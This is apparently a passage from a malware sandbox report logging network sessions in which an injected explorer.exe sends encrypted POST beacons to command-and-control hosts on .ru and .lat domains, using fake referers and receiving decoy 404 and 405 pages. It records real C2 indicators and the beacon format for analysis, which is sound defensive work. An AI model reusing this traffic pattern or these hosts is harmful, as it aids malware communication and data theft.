Dec 19, 2024 10:59:42.688040018 CET	287	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uloowasjyvbxjte.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 324 Host: restructurisationservice.ru
Dec 19, 2024 10:59:42.688106060 CET	324	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 83 49 62 96 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)Ib,{;Zz@#"8pMxS+V~p 4Gx]GdF`JTHx~ws(p]?l;#Yo LbtZ7R{>C~ppc?x`7\
Dec 19, 2024 10:59:44.049314976 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49964	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:44.194433928 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jghirgxdfdtfej.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 264 Host: connecticutproperty.ru
Dec 19, 2024 10:59:44.194447041 CET	264	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ae 18 39 d5 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)9E@GR}`1" a;v^ ,OqhH.$!e.@t+CGcu)>%o\|X`Wc<{KMitXb=)!@IgeId4X
Dec 19, 2024 10:59:45.534571886 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 09:59:45 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49970	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:46.558182001 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aemrvdevcrdbnu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 130 Host: constractionscity1991.lat
Dec 19, 2024 10:59:46.558239937 CET	130	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be fb 1c 32 d4 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)2:XFDq2$g+e]+px
Dec 19, 2024 10:59:47.910084963 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49973	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:48.040641069 CET	285	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://caegqqrnvwyec.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: restructurisationservice.ru
Dec 19, 2024 10:59:48.040652037 CET	273	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be f4 4a 47 a1 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)JG3,_A~S-<jL50;8a`T@luq_XSs'[<v{(a&9)R6haaPq<n.8lI[~`5@q=RBHC
Dec 19, 2024 10:59:49.390717983 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49977	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:49.522432089 CET	280	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gnjdvgwpgdpin.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: connecticutproperty.ru
Dec 19, 2024 10:59:49.522479057 CET	200	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 88 14 56 ac Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)V/D52I0p/$8P0Y3QH0t3`~i#zy-Yu`%ay6e+{0n
Dec 19, 2024 10:59:50.862988949 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 09:59:50 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49993	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:55.240689993 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://randrxuiexkkd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 264 Host: constractionscity1991.lat
Dec 19, 2024 10:59:55.241559029 CET	264	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 9b 19 3f c9 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)?+O]@zwjKjBZ7^&AVqoSSAGkhG)mx?a/Q\})Fzo#rq3Q6y3s%,<ZuHrGUzd
Dec 19, 2024 10:59:56.609649897 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49995	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:56.737485886 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://egkbqdynffoi.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 166 Host: restructurisationservice.ru
Dec 19, 2024 10:59:56.737519979 CET	166	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 8a 04 3f a8 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)?%(+Pv99D2f\X5m'PAvBYbPKQupke^
Dec 19, 2024 10:59:58.091754913 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50000	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:58.232085943 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jkpvubjbjugu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 116 Host: connecticutproperty.ru
Dec 19, 2024 10:59:58.232085943 CET	116	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e4 23 79 83 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)#yW0_e_bO!]
Dec 19, 2024 10:59:59.568881035 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 09:59:59 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50001	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:04.837919950 CET	285	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pekwfbrjnpwbirs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 326 Host: constractionscity1991.lat
Dec 19, 2024 11:00:04.837968111 CET	326	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e7 4a 2e a2 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)J.&:wR-l;\%oM[#iD30wyxB\|q'P)y#A3E\vSsAf_yyzPyor!9:eizYpFUq
Dec 19, 2024 11:00:06.200352907 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50002	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:06.324534893 CET	287	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rllvcebkwfymagl.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 260 Host: restructurisationservice.ru
Dec 19, 2024 11:00:06.324534893 CET	260	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be aa 1b 2d 9e Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)-,TueP/n;YK{T=-/ujh]fNPcs}qe=tl+&R,j\|)\oJRmAF \|Ei:N/Ta5tKz$\
Dec 19, 2024 11:00:07.849044085 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC 